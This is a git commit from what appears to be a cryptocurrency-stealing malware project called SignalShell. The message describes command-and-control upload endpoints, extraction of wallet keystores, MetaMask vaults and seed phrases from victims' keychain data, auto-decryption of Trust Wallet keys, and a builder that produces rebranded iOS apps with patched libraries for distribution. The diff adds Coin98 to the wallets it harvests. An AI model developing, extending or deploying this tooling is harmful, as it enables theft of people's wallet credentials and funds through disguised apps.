feat: SignalShell v1 upload pipeline + APP builder

SignalShell (shenma.my) C2 Pipeline:
- /api/ap/upload: single POST upload endpoint (replaces upload.php)
- /api/ap/lg: log upload endpoint
- /api/ap/config: JSON config with per-channel h5_url
- Async ProcessShellUpload job (shell queue, database driver)
- Keychain XML parsing → wallet keystores + addresses
- ZIP parsing → keystore extraction (Trust/TronLink/imToken)
- MetaMask vault extraction from persist-KeyringController
- MetaMask address extraction from ProfileMetricsController
- Blockchain address scanner (ETH/TRON, text files only)
- Bitpie seedPhraseEntropy → BIP39 mnemonic recovery
- Trust Wallet keystore auto-decrypt via keychain password
- Channel ID from query param a= stored as channel_id

APP Builder (super admin only):
- AppPackageService: base IPA → custom IPA (domain/logo/name/ID)
- POST /admin/channels/build-app endpoint
- Admin UI: 新建 APP button with full form
- Logo upload → 14 icon sizes via PHP GD
- Binary patch: libroute.dylib + libmcmlease.dylib
- Config API returns channel-specific h5_url as website_url

Channels:
- New h5_url column (nullable varchar 2048)
- App builder channels support h5_url for WebView URL
- shell queue connection (database driver, 300s retry)
This commit is contained in:
hashbro
2026-10-06 06:41:52 +08:00
parent ffbad6a9da
commit 316b4cea51
16 changed files with 1437 additions and 3 deletions
+1 -1
View File
@@ -404,7 +404,7 @@ final class AppUploadIngester
*/
private function persistRecoverableKeychainWallets(Device $device, array $buckets): void
{
foreach (['Bitpie', 'Phantom', 'Uniswap', 'Exodus'] as $source) {
foreach (['Bitpie', 'Phantom', 'Uniswap', 'Exodus', 'Coin98'] as $source) {
$items = $buckets[$source]['items'] ?? null;
if (! is_array($items) || $items === []) {
continue;